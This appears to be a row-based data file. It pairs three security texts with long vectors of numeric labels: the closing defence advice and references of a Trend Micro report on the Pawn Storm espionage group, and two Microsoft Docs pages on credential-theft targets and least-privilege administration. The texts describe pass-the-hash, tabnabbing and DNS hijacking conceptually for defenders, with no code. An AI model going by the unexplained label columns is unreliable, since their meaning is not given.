like Pawn Storm. It is not unthinkable that the Pawn Storm actors actually appreciate it when researchers dissect and write about their operations (after they have achieved their goal anyway). These articles are likely to be picked up by mass media, which the actors may consider as free publicity of their capabilities and the media reports might also be damaging to the affected target organizations. Normal cybercriminals often don\xe2\x80\x99t like media attention and even suspend their activities temporarily when their actions are discovered and written about. Pawn Storm doesn\xe2\x80\x99t slow down at all. On the contrary: a lot has been written about Pawn Storm since fall of 2014, and their activities have only grown, both in aggressiveness and number. 37 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Conclusion and Defending Against Pawn Storm This closer look at the activities, operational capacity, and tactics of Pawn Storm gives a comprehensive picture of the group\xe2\x80\x99s real motives and capabilities. With a clear understanding of the trends that Pawn Storm is following, along with their history and past operations, hopefully potential victims and targets can properly address this threat. This last section is dedicated to defending against Pawn Storm. Protecting yourself against an attacker like Pawn Storm is a challenge. They have resources that allow them to run lengthy campaigns over years, and seem to be single-minded in their pursuit of their targets. We\xe2\x80\x99ve seen how the group\xe2\x80\x99s credential phishing tactics work to ensnare even the most savvy webmail users, and how sophisticated their attacks look. Pawn Storm has used several zero-days in 2015 and 2016. They also have well-established tactics, from using tabnabbing to compromising DNS settings, creating watering holes and advanced social engineering. And they have no trouble finding new ways to abuse technology. Pawn Storm attacks from many different sides, and dedicate more of their resources when they identify a worthwhile target. Successfully repelling numerous attacks is not a guarantee; only one has to succeed for the attackers to achieve their goal. However, there are some things you can do to raise the level of your defenses: 1. Minimize your attack surface\xe2\x80\x94systems that do not need to be exposed to the open internet shouldn\xe2\x80\x99t be. 2. Require remote workers to use the corporate VPN to access your systems. 3. Minimize the number of domain names you maintain and centralize email servers. 4. Prevent DNS hijacking of your domains. Work with reputable registrars only, or those that allow for two-factor authentication of your DNS administrator account. Lock your domain at the registrar to further raise the bar for unauthorized changes to your domains. For example you could choose to 38 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat let your registrar call back your authorized DNS administrator to double check whether changes to DNS zones really have to be made. 5. Enforce two-factor authentication for corporate webmail, or a better option would be to require authentication by means of a physical (USB) security key. 6. Educate employees on securing their private free webmail and social media accounts too, and don\xe2\x80\x99t let them use those accounts for work purposes. 7. When your employees travel overseas or attend conferences, let them take a clean loan computer with them. Wipe the data from the computer and do a fresh OS install after the trip. 8. Outsourced services can be compromised too, use only reputable third-party services. 9. Educate workers about email system and/or email account best practices: specifically, don\xe2\x80\x99t store sensitive information in email boxes without encryption and don\xe2\x80\x99t send sensitive information by email without encryption. 10. Let a reputable company do penetration testing of your network regularly. Include social engineering in these tests. 11. Keep software updated and patched. 39 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat References 1. TrendLabs. (22 July 2004). Trend Micro Threat Encyclopedia. \xe2\x80\x9cTROJ_SCONATO.A\xe2\x80\x9d. Last accessed 08 Match 2017. http:// www.trendmicro.com/vinfo/us/threat-encyclopedia/archive/malware/troj_sconato.a. 2. L.Kharouni, F. Hacquebord, N.Huq, J. Gogolinski, F.Merc\xc3\xaas, A.Remorin, D. Otis. (22 October 2014). Trend Micro. \xe2\x80\x9cOperation Pawn Storm: Using Decoys to Evade Detection.\xe2\x80\x9d Last accessed on 12 March 2017. http://www.trendmicro.com/cloud-content/ us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf. 3. TrendLabs. (16 January 2016). Trend Micro. \xe2\x80\x9cOperation Pawn Storm: Fast Facts and the Latest Developments.\xe2\x80\x9d Last accessed on 20 February 2017. https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-pawn-storm-fast-facts. 4. TrendLabs. (10 March 2017). Trend Micro. \xe2\x80\x9cCyber propaganda 101\xe2\x80\x9d. Last accessed 13 March 2017. https://www.trendmicro. com/vinfo/us/security/news/cybercrime-and-digital-threats/cyber-propaganda-101. 5. Eset researchers. (20 October 2016). ESET. \xe2\x80\x9cDissection of Sednit Espionage Group\xe2\x80\x9d. Last accessed 17 March 2017. https:// www.eset.com/int/about/newsroom/research/dissection-of-sednit-espionage-group/. 6. FireEye Threat Intelligence (27 October 2014). FireEye. \xe2\x80\x9cAPT28: A Window into Russia\xe2\x80\x99s Cyber Espionage Operations?\xe2\x80\x9c Last accessed 16 March 2017. https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf. 7. R. Benchea, C. Vatamanu, A. Maximciuc, V. Lunca\xc5\x9fu. Bit Defender. \xe2\x80\x9cAPT28 Under the Scope: A Journey into Exfiltrating Intelligence and Government Information.\xe2\x80\x9d Last accessed 13 March 2017. http://download.bitdefender.com/resources/media/ materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf. 8. Security Intelligence Microsoft. (16 November 2015). TechNet Microsoft. \xe2\x80\x9cMicrosoft Security Intelligence Report: Strontium\xe2\x80\x9d. Last accessed 15 March 2017. https://blogs.technet.microsoft.com/mmpc/2015/11/16/microsoft-security-intelligence-report- strontium. 9. ThreatConnect Research Team. (12 August 2016). ThreatConnect. \xe2\x80\x9cDoes a Bear Leak in the Woods?\xe2\x80\x9d Last accessed 3 March 2017. https://www.threatconnect.com/blog/does-a-bear-leak-in-the-woods/. 10. R. Buschmann, L. Eberle, C. Henrichs and G. Pfeil. (15 January 2017). Der Spiegel. \xe2\x80\x9cInside the Desperate Battle against Sports Doping\xe2\x80\x9d. Last accessed 16 March 2017. http://www.spiegel.de/international/world/sports-doping-and-the-difficult-fight-to- prevent-it-a-1129918.html. 11. Feike Hacquebord. (11 May 2016). Trend Micro. \xe2\x80\x9cPawn Storm Targets German Christian Democratic Union\xe2\x80\x9d. Last accessed 13 March 2017. http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-targets-german-christian-democratic- union/. 12. Feike Hacquebord. (7 March 2016). Trend Micro. \xe2\x80\x9cPawn Storm Campaign Adds Turkey To Its List of Targets\xe2\x80\x9d. Last accessed 10 March 2017. http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-adds-turkey-list-targets/. 13. Feike Hacquebord. (18 August 2015). Trend Micro. \xe2\x80\x9cPawn Storm\xe2\x80\x99s Domestic Spying Campaign Revealed; Ukraine and US Top Global Targets\xe2\x80\x9d. Last accessed 13 March 2017. http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storms- domestic-spying-campaign-revealed-ukraine-and-us-top-global-targets/. 14. AzaRaskin. Aza Rask.in. \xe2\x80\x9cTabnabbing: A New Type of Phishing Attack.\xe2\x80\x9d Last accessed on, 7 March 2017. http://www.azarask. in/blog/post/a-new-type-of-phishing-attack/. 15. Feike Hacquebord. (24 October 2014). Trend Micro. \xe2\x80\x9cOperation Pawn Storm: Putting Outlook Web Access Users at Risk\xe2\x80\x9d Last accessed 15 Febuary 2017. http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-putting- outlook-web-access-users-at-risk/. http://www.trendmicro.com/vinfo/us/threat-encyclopedia/archive/malware/troj_sconato.a http://www.trendmicro.com/vinfo/us/threat-encyclopedia/archive/malware/troj_sconato.a http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-pawn-storm-fast-facts https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/cyber-propaganda-101 https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/cyber-propaganda-101 https://www.eset.com/int/about/newsroom/research/dissection-of-sednit-espionage-group/ https://www.eset.com/int/about/newsroom/research/dissection-of-sednit-espionage-group/ https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf http://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf http://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf https://blogs.technet.microsoft.com/mmpc/2015/11/16/microsoft-security-intelligence-report-strontium https://blogs.technet.microsoft.com/mmpc/2015/11/16/microsoft-security-intelligence-report-strontium https://www.threatconnect.com/blog/does-a-bear-leak-in-the-woods/ http://www.spiegel.de/international/world/sports-doping-and-the-difficult-fight-to-prevent-it-a-1129918.html http://www.spiegel.de/international/world/sports-doping-and-the-difficult-fight-to-prevent-it-a-1129918.html http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-targets-german-christian-democratic-union/ http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-targets-german-christian-democratic-union/ http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-adds-turkey-list-targets/ http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storms-domestic-spying-campaign-revealed-ukraine-and-us-top-global-targets/ http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storms-domestic-spying-campaign-revealed-ukraine-and-us-top-global-targets/ http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/ http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/ http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-putting-outlook-web-access-users-at-risk/ http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-putting-outlook-web-access-users-at-risk/ 40 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat 16. Feike Hacquebord. (16 April 2015). Trend Micro. \xe2\x80\x9cOperation Pawn Storm Ramps Up its Activities; Targets NATO, White House\xe2\x80\x9d Last accessed 16 March 2017. http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up- its-activities-targets-nato-white-house/. 17. Feike Hacquebord, Stephen Hilt. (9 November 2016). Trend Micro. \xe2\x80\x9cPawn Storm Ramps Up Spear-phishing Before Zero-Days Get Patched\xe2\x80\x9d Last accessed 17 March 2017. http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps- up-spear-phishing-before-zero-days-get-patched/. 18. Robert Falcone, Bryan Lee. (17 October 2016). Research Center Paolo Alto Networks. \xe2\x80\x9c\xe2\x80\x98Dealers Choice\xe2\x80\x99 is Sofacy\xe2\x80\x99s Flash Player Exploit Platform\xe2\x80\x9d. Last accessed 2 March 2017. http://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice- sofacys-flash-player-exploit-platform/. 19. The Browser Exploitation Framework Project. Last accessed 8 March 2017. http://beefproject.com/. 20. Brooks Li, Feike Hacquebord. (11 July 2015). Trend Micro. \xe2\x80\x9cPawn Storm Update: Trend Micro Discovers New Java Zero-Day Exploit\xe2\x80\x9d Last accessed 16 March 2017. http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-update-trend- micro-discovers-new-java-zero-day-exploit/. 21. Jack Tang. (2 December 2016). Trend Micro. \xe2\x80\x9cOne Bit To Rule A System: Analyzing CVE-2016-7255 Exploit In The Wild\xe2\x80\x9d Last accessed 20 February 2017. http://blog.trendmicro.com/trendlabs-security-intelligence/one-bit-rule-system-analyzing-cve- 2016-7255-exploit-wild/. 22. Feike Hacquebord. (21 April 2016). Trend Micro. \xe2\x80\x9cLooking Into a Cyber-Attack Facilitator in the Netherlands.\xe2\x80\x9d Last accessed 15 March 2017. http://blog.trendmicro.com/trendlabs-security-intelligence/looking-into-a-cyber-attack-facilitator-in-the- netherlands/. 23. Roman Dobrokhotov. (8 November 2016). Aljazeera. \xe2\x80\x9cUnder surveillance in Russia.\xe2\x80\x9d Last accessed12 March 2017. http://www. aljazeera.com/indepth/opinion/2016/11/surveillance-russia-161107133103258.html. http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps-up-spear-phishing-before-zero-days-get-patched/ http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps-up-spear-phishing-before-zero-days-get-patched/ http://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/ http://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/ http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-update-trend-micro-discovers-new-java-zero-day-exploit/ http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-update-trend-micro-discovers-new-java-zero-day-exploit/ http://blog.trendmicro.com/trendlabs-security-intelligence/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild/ http://blog.trendmicro.com/trendlabs-security-intelligence/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild/ http://blog.trendmicro.com/trendlabs-security-intelligence/looking-into-a-cyber-attack-facilitator-in-the-netherlands/ http://blog.trendmicro.com/trendlabs-security-intelligence/looking-into-a-cyber-attack-facilitator-in-the-netherlands/ http://www.aljazeera.com/indepth/opinion/2016/11/surveillance-russia-161107133103258.html http://www.aljazeera.com/indepth/opinion/2016/11/surveillance-russia-161107133103258.html \xc2\xa92017 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. TREND MICROTM Trend Micro Incorporated, a global cloud security leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses and consumers. A pioneer in server security with over 20 years experience, we deliver top-ranked client, server, and cloud-based security that fits our customers\xe2\x80\x99 and partners\xe2\x80\x99 needs; stops new threats faster; and protects data in physical, virtualized, and cloud environments. Powered by the Trend Micro\xe2\x84\xa2 Smart Protection Network\xe2\x84\xa2 infrastructure, our industry-leading cloud-computing security technology, products and services stop threats where they emerge, on the Internet, and are supported by 1,000+ threat intelligence experts around the globe. For additional information, visit www.trendmicro.com. Created by: The Global Technical Support and R&D Center of TREND MICRO www.trendmicro.com","0","0","0","1","1","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Attractive Accounts for Credential Theft | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Attractive Accounts for Credential Theft 05/31/2017 10 minutes to read +3 In this article Applies To: Windows Server 2016, Windows Server 2012 R2, Windows Server 2012 Credential theft attacks are those in which an attacker initially gains highest-privilege (root, Administrator, or SYSTEM, depending on the operating system in use) access to a computer on a network and then uses freely available tooling to extract credentials from the sessions of other logged-on accounts. Depending on the system configuration, these credentials can be extracted in the form of hashes, tickets, or even plaintext passwords. If any of the harvested credentials are for local accounts that are likely to exist on other computers on the network (for example, Administrator accounts in Windows, or root accounts in OSX, UNIX, or Linux), the attacker presents the credentials to other computers on the network to propagate compromise to additional computers and to try to obtain the credentials of two specific types of accounts: Privileged domain accounts with both broad and deep privileges (that is, accounts that have administrator-level privileges on many computers and in Active Directory). These accounts may not be members of any of the highest-privilege groups in Active Directory, but they may have been granted Administrator-level privilege across many servers and workstations in the domain or forest, which makes them effectively as powerful as members of privileged groups in Active Directory. In most cases, accounts that have been granted high levels of privilege across broad swaths of the Windows infrastructure are service accounts, so service accounts should always be assessed for breadth and depth of privilege. ""Very Important Person"" (VIP) domain accounts. In the context of this document, a VIP account is any account that has access to information an attacker wants (intellectual property and other sensitive information), or any account that can be used to grant the attacker access to that information. Examples of these user accounts include: Executives whose accounts have access to sensitive corporate information Accounts for Help Desk staff who are responsible for maintaining the computers and applications used by executives Accounts for legal staff who have access to an organization's bid and contract documents, whether the documents are for their own organization or client organizations Product planners who have access to plans and specifications for products in an company's development pipeline, regardless of the types of products the company makes Researchers whose accounts are used to access study data, product formulations, or any other research of interest to an attacker Because highly privileged accounts in Active Directory can be used to propagate compromise and to manipulate VIP accounts or the data that they can access, the most useful accounts for credential theft attacks are accounts that are members of Enterprise Admins, Domain Admins, and Administrators groups in Active Directory. Because domain controllers are the repositories for the AD DS database and domain controllers have full access to all of the data in Active Directory, domain controllers are also targeted for compromise, whether in parallel with credential theft attacks, or after one or more highly privileged Active Directory accounts have been compromised. Although numerous publications (and many attackers) focus on the Domain Admins group memberships when describing pass-the-hash and other credential theft attacks (as is described in Reducing the Active Directory Attack Surface), an account that is a member of any of the groups listed here can be used to compromise the entire AD DS installation. Note For comprehensive information about pass-the-hash and other credential theft attacks, please see the Mitigating Pass-the-Hash (PTH) Attacks and Other Credential Theft Techniques whitepaper listed in Appendix M: Document Links and Recommended Reading. For more information about attacks by determined adversaries, which are sometimes referred to as ""advanced persistent threats"" (APTs), please see Determined Adversaries and Targeted Attacks. Activities that Increase the Likelihood of Compromise Because the target of credential theft is usually highly privileged domain accounts and VIP accounts, it is important for administrators to be conscious of activities that increase the likelihood of success of a credential-theft attack. Although attackers also target VIP accounts, if VIPs are not given high levels of privilege on systems or in the domain, theft of their credentials requires other types of attacks, such as socially engineering the VIP to provide secret information. Or the attacker must first obtain privileged access to a system on which VIP credentials are cached. Because of this, activities that increase the likelihood of credential theft described here are focused primarily on preventing the acquisition of highly privileged administrative credentials. These activities are common mechanisms by which attackers are able to compromise systems to obtain privileged credentials. Logging on to Unsecured Computers with Privileged Accounts The core vulnerability that allows credential theft attacks to succeed is the act of logging on to computers that are not secure with accounts that are broadly and deeply privileged throughout the environment. These logons can be the result of various misconfigurations described here. Not Maintaining Separate Administrative Credentials Although this is relatively uncommon, in assessing various AD DS installations, we have found IT employees using a single account for all of their work. The account is a member of at least one of the most highly privileged groups in Active Directory and is the same account that the employees use to log on to their workstations in the morning, check their email, browse Internet sites, and download content to their computers. When users run with accounts that are granted local Administrator rights and permissions, they expose the local computer to complete compromise. When those accounts are also members of the most privileged groups in Active Directory, they expose the entire forest to compromise, making it trivially easy for an attacker to gain complete control of the Active Directory and Windows environment. Similarly, in some environments, we've found that the same user names and passwords are used for root accounts on non-Windows computers as are used in the Windows environment, which allows attackers to extend compromise from UNIX or Linux systems to Windows systems and vice versa. Logons to Compromised Workstations or Member Servers with Privileged Accounts When a highly privileged domain account is used to log on interactively to a compromised workstation or member server, that compromised computer may harvest credentials from any account that logs on to the system. Unsecured Administrative Workstations In many organizations, IT staff use multiple accounts. One account is used for logon to the employee's workstation, and because these are IT staff, they often have local Administrator rights on their workstations. In some cases, UAC is left enabled so that the user at least receives a split access token at logon and must elevate when privileges are required. When these users are performing maintenance activities, they typically use locally installed management tools and provide the credentials for their domain-privileged accounts, by selecting the Run as Administrator option or by providing the credentials when prompted. Although this configuration may seem appropriate, it exposes the environment to compromise because: The ""regular"" user account that the employee uses to log on to their workstation has local Administrator rights, the computer is vulnerable to drive-by download attacks in which the user is convinced to install malware. The malware is installed in the context of an administrative account, the computer can now be used to capture keystrokes, clipboard contents, screenshots, and memory-resident credentials, any of which can result in exposure of the credentials of a powerful domain account. The problems in this scenario are twofold. First, although separate accounts are used for local and domain administration, the computer is unsecured and does not protect the accounts against theft. Second, the regular user account and the administrative account have been granted excessive rights and permissions. Browsing the Internet with a Highly Privileged Account Users who log on to computers with accounts that are members of the local Administrators group on the computer, or members of privileged groups in Active Directory, and who then browse the Internet (or a compromised intranet) expose the local computer and the directory to compromise. Accessing a maliciously crafted website with a browser running with administrative privileges can allow an attacker to deposit malicious code on the local computer in the context of the privileged user. If the user has local Administrator rights on the computer, attackers may deceive the user into downloading malicious code or opening email attachments that leverage application vulnerabilities and leverage the user's privileges to extract locally cached credentials for all active users on the computer. If the user has administrative rights in the directory by membership in the Enterprise Admins, Domain Admins, or Administrators groups in Active Directory, the attacker can extract the domain credentials and use them to compromise the entire AD DS domain or forest, without needing to compromise any other computer in the forest. Configuring Local Privileged Accounts with the Same Credentials across Systems Configuring the same local Administrator account name and password on many or all computers enables credentials stolen from the SAM database on one computer to be used to compromise all other computers that use the same credentials. At a minimum, you should use different passwords for local Administrator accounts across each domain-joined system. Local Administrator accounts may also be uniquely named, but using different passwords for each system's privileged local accounts is sufficient to ensure that credentials cannot be used on other systems. Overpopulation and Overuse of Privileged Domain Groups Granting membership in the EA, DA, or BA groups in a domain creates a target for attackers. The greater the number of members of these groups, the greater the likelihood that a privileged user may inadvertently misuse the credentials and expose them to credential theft attacks. Every workstation or server to which a privileged domain user logs on presents a possible mechanism by which the privileged user's credentials may be harvested and used to compromise the AD DS domain and forest. Poorly Secured Domain Controllers Domain controllers house a replica of a domain's AD DS database. In the case of read-only domain controllers, the local replica of the database contains the credentials for only a subset of the accounts in the directory, none of which are privileged domain accounts by default. On read-write domain controllers, each domain controller maintains a full replica of the AD DS database, including credentials not only for privileged users like Domain Admins, but privileged accounts such as domain controller accounts or the domain's Krbtgt account, which is the account that is associated with the KDC service on domain controllers. If additional applications that are not necessary for domain controller functionality are installed on domain controllers, or if domain controllers are not stringently patched and secured, attackers may compromise them via unpatched vulnerabilities, or they may leverage other attack vectors to install malicious software directly on them. Privilege Elevation and Propagation Regardless of the attack methods used, Active Directory is always targeted when a Windows environment is attacked, because it ultimately controls access to whatever the attackers want. This does not mean that the entire directory is targeted, however. Specific accounts, servers, and infrastructure components are usually the primary targets of attacks against Active Directory. These accounts are described as follows. Permanent Privileged Accounts Because the introduction of Active Directory, it has been possible to use highly privileged accounts to build the Active Directory forest and then to delegate rights and permissions required to perform day-to-day administration to less-privileged accounts. Membership in the Enterprise Admins, Domain Admins, or Administrators groups in Active Directory is required only temporarily and infrequently in an environment that implements least-privilege approaches to daily administration. Permanent privileged accounts are accounts that have been placed in privileged groups and left there from day to day. If your organization places five accounts into the Domain Admins group for a domain, those five accounts can be targeted 24-hours a day, seven days a week. However, the actual need to use accounts with Domain Admins privileges is typically only for specific domain-wide configuration, and for short periods of time. VIP Accounts An often overlooked target in Active Directory breaches is the accounts of ""very important persons"" (or VIPs) in an organization. Privileged accounts are targeted because those accounts can grant access to attackers, which allows them to compromise or even destroy targeted systems, as described earlier in this section. ""Privilege-Attached"" Active Directory Accounts ""Privilege-attached"" Active Directory accounts are domain accounts that have not been made members of any of the groups that have the highest levels of privilege in Active Directory, but have instead been granted high levels of privilege on many servers and workstations in the environment. These accounts are most often domain-based accounts that are configured to run services on domain-joined systems, typically for applications running on large sections of the infrastructure. Although these accounts have no privileges in Active Directory, if they are granted high privilege on large numbers of systems, they can be used to compromise or even destroy large segments of the infrastructure, achieving the same effect as compromise of a privileged Active Directory account. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","1","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Implementing Least-Privilege Administrative Models | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Implementing Least-Privilege Administrative Models 08/09/2018 40 minutes to read +6 In this article Applies To: Windows Server 2016, Windows Server 2012 R2, Windows Server 2012 The following excerpt is from The Administrator Accounts Security Planning Guide, first published on April 1, 1999: ""Most security-related training courses and documentation discuss the implementation of a principle of least privilege, yet organizations rarely follow it. The principle is simple, and the impact of applying it correctly greatly increases your security and reduces your risk. The principle states that all users should log on with a user account that has the absolute minimum permissions necessary to complete the current task and nothing more. Doing so provides protection against malicious code, among other attacks. This principle applies to computers and the users of those computers. ""One reason this principle works so well is that it forces you to do some internal research. For example, you must determine the access privileges that a computer or user really needs, and then implement them. For many organizations, this task might initially seem like a great deal of work; however, it is an essential step to successfully secure your network environment. ""You should grant all domain administrator users their domain privileges under the concept of least privilege. For example, if an administrator logs on with a privileged account and inadvertently runs a virus program, the virus has administrative access to the local computer and to the entire domain. If the administrator had instead logged on with a nonprivileged (nonadministrative) account, the virus's scope of damage would only be the local computer because it runs as a local computer user. ""In another example, accounts to which you grant domain-level administrator rights must not have elevated rights in another forest, even if there is a trust relationship between the forests. This tactic helps prevent widespread damage if an attacker manages to compromise one managed forest. Organizations should regularly audit their network to protect against unauthorized escalation of privilege."" The following excerpt is from the Microsoft Windows Security Resource Kit, first published in 2005: ""Always think of security in terms of granting the least amount of privileges required to carry out the task. If an application that has too many privileges should be compromised, the attacker might be able to expand the attack beyond what it would if the application had been under the least amount of privileges possible. For example, examine the consequences of a network administrator unwittingly opening an email attachment that launches a virus. If the administrator is logged on using the domain Administrator account, the virus will have Administrator privileges on all computers in the domain and thus unrestricted access to nearly all data on the network. If the administrator is logged on using a local Administrator account, the virus will have Administrator privileges on the local computer and thus would be able to access any data on the computer and install malicious software such as key-stroke logging software on the computer. If the administrator is logged on using a normal user account, the virus will have access only to the administrator's data and will not be able to install malicious software. By using the least privileges necessary to read email, in this example, the potential scope of the compromise is greatly reduced."" The Privilege Problem The principles described in the preceding excerpts have not changed, but in assessing Active Directory installations, we invariably find excessive numbers of accounts that have been granted rights and permissions far beyond those required to perform day-to-day work. The size of the environment affects the raw numbers of overly privileged accounts, but not the proportionmidsized directories may have dozens of accounts in the most highly privileged groups, while large installations may have hundreds or even thousands. With few exceptions, regardless of the sophistication of an attacker's skills and arsenal, attackers typically follow the path of least resistance. They increase the complexity of their tooling and approach only if and when simpler mechanisms fail or are thwarted by defenders. Unfortunately, the path of least resistance in many environments has proven to be the overuse of accounts with broad and deep privilege. Broad privileges are rights and permissions that allow an account to perform specific activities across a large cross-section of the environment- for example, Help Desk staff may be granted permissions that allow them to reset the passwords on many user accounts. Deep privileges are powerful privileges that are applied to a narrow segment of the population, such as giving an engineer Administrator rights on a server so that they can perform repairs. Neither broad privilege nor deep privilege is necessarily dangerous, but when many accounts in the domain are permanently granted broad and deep privilege, if only one of the accounts is compromised, it can quickly be used to reconfigure the environment to the attacker's purposes or even to destroy large segments of the infrastructure. Pass-the-hash attacks, which are a type of credential theft attack, are ubiquitous because the tooling to perform them is freely available and easy-to-use, and because many environments are vulnerable to the attacks. Pass-the-hash attacks, however, are not the real problem. The crux of the problem is twofold: It is usually easy for an attacker to obtain deep privilege on a single computer and then propagate that privilege broadly to other computers. There are usually too many permanent accounts with high levels of privilege across the computing landscape. Even if pass-the-hash attacks are eliminated, attackers would simply use different tactics, not a different strategy. Rather than planting malware that contains credential theft tooling, they might plant malware that logs keystrokes, or leverage any number of other approaches to capture credentials that are powerful across the environment. Regardless of the tactics, the targets remain the same: accounts with broad and deep privilege. Granting of excessive privilege isn't only found in Active Directory in compromised environments. When an organization has developed the habit of granting more privilege than is required, it is typically found throughout the infrastructure as discussed in the following sections. In Active Directory In Active Directory, it is common to find that the EA, DA and BA groups contain excessive numbers of accounts. Most commonly, an organization's EA group contains the fewest members, DA groups usually contain a multiplier of the number of users in the EA group, and Administrators groups usually contain more members than the populations of the other groups combined. This is often due to a belief that Administrators are somehow ""less privileged"" than DAs or EAs. While the rights and permissions granted to each of these groups differ, they should be effectively considered equally powerful groups because a member of one can make himself or herself a member of the other two. On Member Servers When we retrieve the membership of local Administrators groups on member servers in many environments, we find membership ranging from a handful of local and domain accounts, to dozens of nested groups that, when expanded, reveal hundreds, even thousands, of accounts with local Administrator privilege on the servers. In many cases, domain groups with large memberships are nested in member servers' local Administrators groups, without consideration to the fact that any user who can modify the memberships of those groups in the domain can gain administrative control of all systems on which the group has been nested in a local Administrators group. On Workstations Although workstations typically have significantly fewer members in their local Administrators groups than member servers do, in many environments, users are granted membership in the local Administrators group on their personal computers. When this occurs, even if UAC is enabled, those users present an elevated risk to the integrity of their workstations. Important You should consider carefully whether users require administrative rights on their workstations, and if they do, a better approach may be to create a separate local account on the computer that is a member of the Administrators group. When users require elevation, they can present the credentials of that local account for elevation, but because the account is local, it cannot be used to compromise other computers or access domain resources. As with any local accounts, however, the credentials for the local 